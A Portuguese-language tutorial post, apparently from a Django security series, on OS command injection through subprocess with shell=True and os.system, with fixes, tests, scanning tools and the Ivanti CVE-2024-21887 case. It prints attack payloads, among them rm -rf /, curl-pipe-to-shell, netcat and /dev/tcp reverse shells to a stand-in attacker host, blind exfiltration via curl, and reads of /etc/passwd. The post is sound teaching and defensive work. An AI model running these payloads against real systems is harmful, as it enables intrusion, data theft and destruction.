Injeção de Comandos OS: subprocess, os.system e os Perigos de Shell=True

Injeção de Comandos OS: subprocess, os.system e os Perigos de Shell=True

Django Security Series — Post 4 | Série I: Ataques de Injeção
OWASP A05:2025 — Injection | Tempo de leitura: ~18 min

🧪 Rode você mesmo. Este ataque vem como um laboratório executável em django-security-lab: um endpoint de "inspecionar upload" que roda wc -c em um nome de arquivo. A view com shell=True deixa name=sample.txt; cat ../flag.txt rodar um segundo comando e ler uma flag que ela nunca deveria alcançar; a view com shell=False passa a mesma string ao wc como um único nome de arquivo (inexistente) literal. É tier 3 (execução real de comandos), então roda como usuário não-root e sem saída de rede. Reproduza os dois pela linha de comando com curl.

O Post 1 abordou SQL Injection, o Post 2 abordou XSS, o Post 3 abordou SSTI. Cada um quebra a barreira entre dado e código em um interpretador diferente — o banco de dados, o DOM do navegador, o motor de templates. O Post 4 fecha o núcleo da tríade de RCE removendo a última camada de indireção: Injeção de Comandos do Sistema Operacional, em que a entrada do usuário alcança o shell do sistema operacional diretamente, sem nada no meio.

Este post surgiu de uma dúvida concreta que tive enquanto tocava o Petição Brasil, que gera um certificado PDF para cada assinatura de petição usando uma ferramenta externa. Qualquer funcionalidade que recorre a uma ferramenta externa significa que existe uma chamada subprocess em algum lugar — e toda chamada subprocess construída a partir de entrada do usuário é um ponto de injeção em potencial. Perseguir essa dúvida me ensinou algo sobre por que o padrão seguro funciona no nível do sistema operacional que eu não tinha entendido completamente antes.

Este post cobre como a injeção de comandos funciona, por que shell=True é a chave que transforma um nome de arquivo numa linha de comando e como tirar o shell do caminho.


O Ataque: O Que É e Como Funciona

A injeção de comandos ocorre quando dados controlados pelo usuário são incluídos em uma string que é passada a um shell do sistema operacional, fazendo o shell interpretar parte dessa entrada como comando em vez de dado. A causa raiz é idêntica à do SQL Injection — confusão entre dado e código em uma fronteira de interpretador — mas o interpretador agora é o shell do sistema operacional (/bin/sh no Linux, cmd.exe no Windows) em vez de um motor de banco de dados. E enquanto o SQL injection costuma ficar limitado ao que a conta do banco de dados pode fazer (alcançar o sistema operacional pelo SQL exige um recurso como o COPY ... PROGRAM do PostgreSQL e um papel com privilégio para usá-lo), o shell consegue tocar tudo o que o processo web alcança: o sistema de arquivos, a rede, variáveis de ambiente contendo segredos e qualquer outro binário no host.

O mecanismo depende dos metacaracteres de shell — caracteres que um shell trata como sintaxe de controle em vez de texto literal. Quando entrada do usuário é concatenada em uma string de comando e entregue a um shell, qualquer metacaractere nessa entrada é interpretado pelo shell:

Metacaractere O que o shell faz com ele Exemplo
; Separador de comandos — executa o próximo comando incondicionalmente photo.jpg; rm -rf /
&& Executa o próximo comando apenas se o primeiro tiver sucesso photo.jpg && curl evil.sh \| sh
\|\| Executa o próximo comando apenas se o primeiro falhar nope \|\| cat /etc/passwd
\| Pipe — envia a saída de um comando para o próximo photo.jpg \| nc attacker 4444
$(...) Substituição de comando — executa o comando interno e insere sua saída $(whoami)
`...` Substituição de comando com crase (sintaxe antiga) `id`
> / >> Redireciona a saída para um arquivo (sobrescreve / anexa) x > /var/www/shell.php
& Executa o comando em segundo plano sleep 30 &
nova linha (\n) Atua como separador de comandos photo.jpg\nrm -rf /

No Windows os operadores diferem ligeiramente (&, &&, ||, |, e a expansão %VAR%), mas o princípio é idêntico: o shell analisa a string antes que qualquer programa rode.

Antes de ver o exploit, ajuda saber quais chamadas do Python entregam dados a um shell, porque é aí que a vulnerabilidade vive. O Python oferece várias formas de executar um programa externo, e a diferença de segurança entre elas se resume a uma única pergunta: há um shell envolvido e quem divide o comando em argumentos separados?

os.system(cmd) recebe uma string e a entrega ao shell do sistema (/bin/sh -c "<cmd>" no Linux, cmd.exe /c no Windows). É o shell — não o Python — que decide onde cada argumento começa e termina, e é isso que permite que o ; ou o | do atacante sejam lidos como sintaxe em vez de texto. os.popen(cmd) faz o mesmo e ainda devolve um objeto semelhante a um arquivo para ler a saída do comando. Nenhuma das duas funções tem um modo que dispense o shell — o shell está sempre no caminho —, então ambas devem ser tratadas como legado.

O subprocess é mais seguro porque pode executar um programa de duas formas bem diferentes:

Como você chama Shell envolvido? Quem analisa os argumentos
subprocess.run("convert " + f, shell=True) Sim — /bin/sh -c ... O shell — metacaracteres ativos
subprocess.run(["convert", f]) Não — shell=False (o padrão) O Python passa a lista direto ao SO

Quando você passa uma string com shell=True, o subprocess se comporta como o os.system: o shell analisa a string e todo metacaractere em f é perigoso. Quando você passa uma lista de argumentos com o padrão shell=False, não há shell algum. Em sistemas POSIX o Python chama diretamente a família exec do sistema operacional, e cada elemento da lista vira um argumento, literalmente; no Windows ele chama CreateProcess() com a lista unida em uma única linha de comando, que o programa chamado divide de novo. Um ; dentro de f é então apenas um caractere em um nome de arquivo, nunca um separador de comandos. Uma exceção: no Windows, um arquivo .bat ou .cmd roda pelo cmd.exe não importa o que você passe, então a forma de lista não o protege.

Esse segundo modo é toda a razão pela qual o caminho seguro sempre usa subprocess com uma lista de argumentos — e por que os.system e os.popen, que não têm esse modo, devem ser considerados legado. O exploit abaixo usa o primeiro modo, o perigoso, numa view de conversão de imagem que roda subprocess.run(f"convert {filename} /var/thumbs/output.jpg", shell=True) com o filename vindo da query string.

Uma requisição cujo filename seja photo.jpg; id # monta a string convert photo.jpg; id # /var/thumbs/output.jpg. Como o payload cai no meio do template, o atacante o encerra com #, que inicia um comentário de shell e descarta o /var/thumbs/output.jpg fixo que a view anexa. O shell roda convert photo.jpg e depois id; se essa saída for refletida em qualquer lugar da resposta ou dos logs, o atacante lê uid=33(www-data) gid=33(www-data) e confirmou a execução de código sob o usuário do processo web. Sem o # no fim, /var/thumbs/output.jpg viraria um argumento do id — que daria erro em vez de imprimir o uid, neutralizando a sonda.

Percorrer o mesmo endpoint em um exploit completo mostra como um único parâmetro de query escala para uma posição dentro do host:

  1. Uma view Django recebe um parâmetro filename do usuário — por exemplo, o nome de uma imagem enviada para ser convertida.
  2. A view monta o comando com essa f-string e o executa através de um shell.
  3. O atacante envia photo.jpg; cat /etc/passwd > /tmp/leak.txt # como nome do arquivo — o # no fim vai comentar o que o template anexar depois dele.
  4. A view interpola isso no meio do template, então o shell recebe convert photo.jpg; cat /etc/passwd > /tmp/leak.txt # /var/thumbs/output.jpg. Ele analisa o ; como separador — rodando convert photo.jpg, em seguida despejando o arquivo de senhas em um local legível por todos — enquanto o # descarta o /var/thumbs/output.jpg no fim.
  5. O atacante recupera o /tmp/leak.txt por outro endpoint — ou, mais comumente, dispensa o arquivo por completo e substitui por um payload de reverse shell que se conecta de volta a uma máquina que ele controla.

A mesma view é explorável para controle interativo completo, não apenas vazamento de arquivo. Um payload como photo.jpg; bash -c 'bash -i >& /dev/tcp/attacker.example/4444 0>&1' # monta um reverse shell (shell reverso) — em vez de o atacante se conectar ao servidor, é o servidor que disca de volta para o atacante, e é isso que permite driblar regras de firewall de entrada que bloqueiam conexões de chegada. Cada parte cumpre um papel:

  • photo.jpg; — o nome de arquivo inofensivo que a view espera; em seguida o ; encerra o comando convert pretendido e inicia um novo.
  • bash -c '…' — entrega o resto da linha explicitamente ao Bash. O shell=True roda /bin/sh, que no Debian e no Ubuntu — e nas imagens python:*-slim, construídas sobre o Debian — é o dash; o dash só lê >& como cópia entre descritores de arquivo numerados e não conhece /dev/tcp, então a forma direta bash -i >& /dev/tcp/... falha já na análise sintática ali.
  • bash -i — inicia um shell Bash interativo (o modo interativo o mantém lendo comandos e exibindo prompts, como uma sessão de terminal faria).
  • /dev/tcp/attacker.example/4444 — não é um arquivo real, e sim um pseudo-dispositivo embutido do Bash: referenciar esse caminho faz o Bash abrir uma conexão TCP para o host do atacante na porta 4444, onde o atacante já está escutando (por exemplo, com nc -lvnp 4444).
  • >& — redireciona a saída padrão e a saída de erro do shell para essa conexão TCP, de modo que tudo o que o shell imprime viaja até o atacante.
  • 0>&1 — redireciona a entrada padrão (descritor de arquivo 0) para a mesma conexão, de modo que tudo o que o atacante digita é alimentado de volta ao shell como comandos.
  • # — inicia um comentário de shell que descarta o /var/thumbs/output.jpg fixo que a view anexa após o ponto de injeção, para que ele não interfira no comando do reverse shell.

Interligados, a entrada e a saída do shell ficam ambas ligadas ao socket do atacante, dando a ele um prompt interativo ao vivo no servidor. A partir daí, a aplicação web deixa de ser o alvo: o host é.

Os mesmos metacaracteres chegam ao shell por outros caminhos. Quando a saída do comando nunca volta, a injeção fica cega: o payload faz o servidor chamar um host que o atacante observa (curl https://attacker.example/$(whoami)), ou simplesmente roda sleep 5, e uma resposta cinco segundos atrasada confirma que ele rodou. Um valor que o atacante gravou antes, como um nome de usuário, dispara depois, quando um código confiável monta um comando com ele (injeção de segunda ordem). Sem shell nenhum, um argumento que começa com - ainda é lido como opção pelo programa que o recebe (injeção de argumentos). E a string de shell pode estar dentro de uma dependência, e não do seu código: no ImageTragick (CVE-2016-3714), o ImageMagick montava comandos de shell com valores de dentro de uma imagem enviada, então aplicações que só lhe pediam uma miniatura rodavam os comandos do atacante.


Incidentes Reais

Ivanti Connect Secure — CVE-2024-21887 (2024)

Na segunda semana de dezembro de 2023, a Volexity viu movimentação lateral suspeita na rede de um cliente e a rastreou até o appliance de VPN Ivanti Connect Secure exposto à internet desse cliente, cujos logs tinham sido apagados. Uma imagem de memória do appliance revelou dois zero-days encadeados pelo atacante, rastreado pela Volexity como UTA0178 e tido como um grupo de nível estatal chinês: um bypass de autenticação (CVE-2023-46805) e uma injeção de comandos (CVE-2024-21887). A Volexity encontrou atividade suspeita partindo do appliance já em 3 de dezembro. A análise da Rapid7 localizou a injeção numa view Flask escrita em Python: o endpoint REST /api/v1/license/keys-status/<node_name> concatenava o segmento de caminho node_name numa string de comando e a executava com subprocess.Popen(..., shell=True), então um caminho terminado em ; e um comando rodava esse comando no appliance, e o bypass fazia a requisição dispensar login. A Rapid7 apresenta esse endpoint como uma correspondência provável da CVE-2024-21887, não como uma confirmada. Dali o atacante instalou webshells, alterou o JavaScript da página de login para enviar as credenciais digitadas a um domínio externo e se moveu pela rede com o que coletou. Em 19 de janeiro de 2024, a CISA emitiu a Emergency Directive 24-01 diante de "exploração ampla e ativa", mandando as agências federais dos EUA aplicar a mitigação da Ivanti e, num suplemento posterior, restaurar de fábrica e reconstruir os appliances afetados.

Em termos de ATT&CK, a porta de entrada é T1190 (Exploit Public-Facing Application) e o que a injeção executou é T1059.004 (Command and Scripting Interpreter: Unix Shell). Para desenvolvedores Django, a lição é o código: é a view vulnerável do laboratório, um endpoint web em Python concatenando um valor da requisição numa string de shell, entregue dentro de um appliance de segurança. Uma lista de argumentos sem shell teria entregado o ; e o comando seguinte ao programa como um único argumento literal, que é o que a view segura do laboratório faz com o payload dela.

Fontes: Volexity — Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN (2024); Rapid7 — análise da CVE-2023-46805 e da CVE-2024-21887; CISA — Emergency Directive 24-01


Proteções Padrão do Django

O Django não oferece nenhuma proteção automática contra injeção de comandos. Esse é o ajuste mental crítico depois dos Posts 1–3. O ORM parametriza SQL, o motor de templates faz auto-escape de HTML, e a DTL se recusa a avaliar expressões Python — mas nada no Django parametriza ou sanitiza um comando de shell, porque invocar o shell não é uma responsabilidade do framework. No momento em que seu código chama subprocess, os.system ou os.popen, você saiu da superfície protetora do Django e passa a ser o único responsável pela segurança dessa chamada.

A documentação do subprocess do próprio Python diz que, com shell=True, a responsabilidade de pôr entre aspas cada metacaractere é da aplicação, mas isso é orientação — e o checklist de deploy do Django sequer menciona subprocess, o que só reforça o ponto: não existe uma configuração do Django que o bloqueie. Os controles de nível Django que de fato ajudam são controles de acesso que limitam quem pode alcançar as views que invocam o shell: @login_required, @permission_required e @staff_member_required reduzem a população de usuários que podem sequer tentar uma injeção. Eles são uma valiosa defesa em profundidade — uma ferramenta de diagnóstico interna atrás de @staff_member_required tem uma superfície de ataque muito menor que um endpoint público — mas não são uma correção. Um usuário autenticado, uma conta comprometida, ou um atacante que alcance a view por uma falha separada ainda injeta em um comando não sanitizado. O controle de acesso estreita a porta; não tranca a vulnerabilidade.


O Padrão Vulnerável e a Correção

Padrão 1 — Comando com f-string e shell=True

O caso clássico: uma linha de comando montada interpolando entrada do usuário e executada através de um shell. O inspetor de uploads do laboratório roda wc -c sobre um nome de arquivo, e a correção leva o nome para uma lista de argumentos:

     name = request.POST.get("name", "")
+    path = os.path.join(str(UPLOAD_DIR), name)
     result = subprocess.run(
-        f"wc -c {name}",
-        shell=True,
-        cwd=str(UPLOAD_DIR),
+        ["wc", "-c", path],
+        shell=False,
         capture_output=True,
         text=True,
     )

Na view vulnerável, name=sample.txt; cat ../flag.txt faz o /bin/sh rodar um segundo comando, e a flag volta na resposta. Na segura não há shell: a lista vai ao sistema operacional como três argumentos, o wc procura um único caminho, uploads/sample.txt; cat ../flag.txt, e informa que ele não existe. As duas views estão no laboratório: views_vulnerable.py e views_secure.py. Tirar o shell, porém, é tudo o que a view segura faz. name=../flag.txt ainda faz o wc contar os bytes do arquivo da flag, porque nada confina o caminho — e é para isso que serve a validação depois destes padrões.

Padrão 2 — Concatenação de String com os.system

os.system sempre usa um shell; não há modo seguro, então a correção substitui a chamada em vez de editá-la. Para um host a ser pingado, a verificação mais forte é exigir que o valor seja um endereço IP:

 def ping_host(request):
     host = request.POST.get('host', '')
-    os.system("ping -c 1 " + host)   # os.system always invokes /bin/sh
+    try:
+        ipaddress.ip_address(host)   # an IP literal cannot start with "-"
+    except ValueError:
+        return HttpResponseBadRequest("Not an IP address")
+    subprocess.run(["ping", "-c", "1", host], timeout=10)
     return HttpResponse("Pinged")

Contra a linha antiga, host=8.8.8.8; cat /etc/passwd roda o ping e depois lê o arquivo de senhas. Uma funcionalidade de diagnóstico de rede como esta é comum em ferramentas administrativas internas. A forma de lista sozinha já impede o ;; a verificação com ip_address também impede que um valor começando com - chegue ao ping como opção. Ela não barra todo metacaractere: um scope ID IPv6 como fe80::1%$(id) passa, e só é inofensivo porque nenhum shell o lê.

Três controles valem para os dois padrões, e não para um só. Primeiro, shell=False impede o shell, mas não um argumento hostil: um nome de arquivo que começa com - e é lido como opção, ou um caminho ../ que escapa do diretório de upload, como faz o name=../flag.txt do laboratório. Resolva o caminho com (UPLOAD_DIR / name).resolve(), recuse-o a menos que o resultado satisfaça is_relative_to(UPLOAD_DIR.resolve()), use uma allowlist de extensões e ponha -- antes dos operandos vindos do usuário onde o binário suportar; confirmar o tipo real do arquivo pelo conteúdo fica para o post de upload de arquivos mais adiante na série. Segundo, a correção mais robusta remove o binário externo: Pillow no lugar do ImageMagick, WeasyPrint ou ReportLab no lugar do wkhtmltopdf, os módulos zipfile e tarfile da biblioteca padrão para arquivos compactados (validando os caminhos dos membros contra o zip-slip). Terceiro, dê a toda chamada de subprocesso um timeout=, para que um binário que trava com entrada malformada não prenda um worker para sempre; o run() mata o processo filho quando o tempo expira, mas só o filho imediato: um binário que cria processos auxiliares precisa de start_new_session=True e de um kill no grupo de processos para derrubá-los também.


A Visão do Analista

A injeção de comandos é onde a noção de raio de impacto (blast radius) de um analista CySA+ deixa de ser metáfora. O SQL injection costuma ficar limitado à conta do banco; o XSS ao navegador; a injeção de comandos não é limitada por nada aquém do host — um ; injetado compra os mesmos privilégios que o processo web detém, sobre o sistema de arquivos, a rede e todo segredo no ambiente. Isso torna a taxonomia de controles excepcionalmente clara. shell=False com uma lista de argumentos é o controle preventivo: remove o interpretador que transforma dado em código, então não sobra shell para injetar, embora os argumentos ainda precisem de validação, como os padrões mostraram. Todo o resto é defesa em profundidade que reduz o raio de impacto caso o controle preventivo falhe — validação de entrada e allowlists, uma conta de serviço de menor privilégio (nunca root), um bloqueio de saída de rede para que um reverse shell não tenha para onde discar, um timeout de subprocesso que limita um DoS por sleep. O laboratório que acompanha o post é construído como essa pilha: a view vulnerável roda como usuário não-root em um contêiner sem saída de rede, então mesmo uma injeção bem-sucedida não consegue telefonar para casa. Ela ainda consegue ler tudo o que o processo lê e devolver pela resposta HTTP, que é exatamente como a flag do laboratório vaza: a contenção reduz um vazamento, não o impede.

A segunda lição para o analista é sobre detecção, e a Ivanti a ensina. Os logs do próprio appliance tinham sido apagados; o que entregou o atacante foi a movimentação lateral que o monitoramento de rede pegou em outras máquinas. A injeção de comandos deixa seu rastro mais claro não na requisição, e sim no que o host faz depois: um worker web que inicia sh, bash ou curl, ou abre uma conexão para fora, está fazendo algo que um worker web raramente precisa fazer. O monitoramento de execução de processos no host (um EDR, ou regras do auditd sobre execve) e o monitoramento de saída de rede são os controles detectivos desta classe, e funcionam até numa máquina cujo código você não consegue ler.


Detectando Automaticamente

Testando Sua Defesa

Um único teste basta para provar a correção contra este payload: enviar a injeção à view segura e conferir que a saída do segundo comando nunca volta. Este é o que o laboratório usa:

PAYLOAD = f"{SAMPLE_NAME}; cat ../flag.txt"

def test_secure_view_does_not_execute_injection(self):
    resp = self.client.post("/command-injection/secure/", {"name": PAYLOAD})
    self.assertEqual(resp.status_code, 200)
    self.assertNotContains(resp, "FLAG{")

O setUp grava uploads/sample.txt e o arquivo da flag um diretório acima dele. Aponte o teste para /command-injection/vulnerable/ e ele falha: o ; inicia cat ../flag.txt, e a flag aparece na resposta. Ele roda comandos de verdade, e é por isso que o contêiner roda como não-root e sem saída de rede; e pressupõe um único /bin/sh, e é por isso que o laboratório é só para Linux. O tests.py do laboratório cobre a outra metade: a view segura continua informando a contagem de bytes de um arquivo real.

Fazendo a Varredura

Diferente das classes específicas do Django do começo da série, a injeção de comandos é um sink clássico que as ferramentas padrão pegam — então não há regra customizada, e o laboratório que acompanha o post carrega um scan-assert no CI, como o de SQL injection.

bandit -r labs/post_04_command_injection/
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_04_command_injection/views_vulnerable.py
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_04_command_injection/views_secure.py

O Bandit percorre a AST do Python atrás de construções arriscadas numeradas com B; o B602 (subprocess … shell=True, ALTA) dispara na view vulnerável e está ausente na view segura em forma de lista. Uma nuance que o CI do laboratório codifica: o Bandit também traz notas de baixa severidade sobre subprocess que disparam em código seguro — B404 em qualquer import subprocess, B603 em qualquer chamada sem shell=True, B607 numa chamada cujo executável é um nome simples como wc —, então acendem também na view segura. Não são achados de injeção de shell, então o assert casa a verificação específica (B602, por test_id) em vez de uma contagem bruta — caso contrário a view segura pareceria "não-silenciosa". O Semgrep community (regras de subprocess do p/django e do p/python) é o caso limpo: três achados na view vulnerável (subprocess-injection, dangerous-subprocess-use, subprocess-shell-true), zero na segura.

Injeção de comandos também é uma classe DAST — um scan de injeção com commix ou o OWASP ZAP dispara payloads com metacaracteres no parâmetro e confirma que um segundo comando rodou. O passo a passo com curl do laboratório é essa sonda dinâmica, reproduzível a partir de um clone. As execuções capturadas e o raciocínio completo estão no diretório scans/ do laboratório.

Para o seu próprio código, bandit -r . — B602 para shell=True, B605 para os.system e os.popen — mais um backstop de pre-commit grep -rn "shell=True" pega as formas comuns. Nenhum dos dois é garantia: asyncio.create_subprocess_shell() passa pelos dois, então novos caminhos de execução de processos ainda precisam de revisão.


O hábito que este post me deixou: se uma biblioteca Python faz o trabalho, uso a biblioteca; se preciso chamar um programa externo, shell=False com uma lista de argumentos é o mínimo, e shell=True sobre entrada não confiável basta para bloquear um deploy.

O Post 5 permanece na família da injeção, mas muda para o último interpretador da série: o parser de XML. Ataques XXE (XML External Entity) abusam de um parser deixado em seus padrões inseguros para ler arquivos locais do servidor ou alcançar serviços de rede internos, e seu parente, a expansão de entidades, usa algumas linhas de entidades aninhadas “billion laughs” para exaurir de vez a memória do host. É a injeção que os desenvolvedores Django mais subestimam, porque parsear XML parece passivo.

Leitura Complementar

← Voltar para a série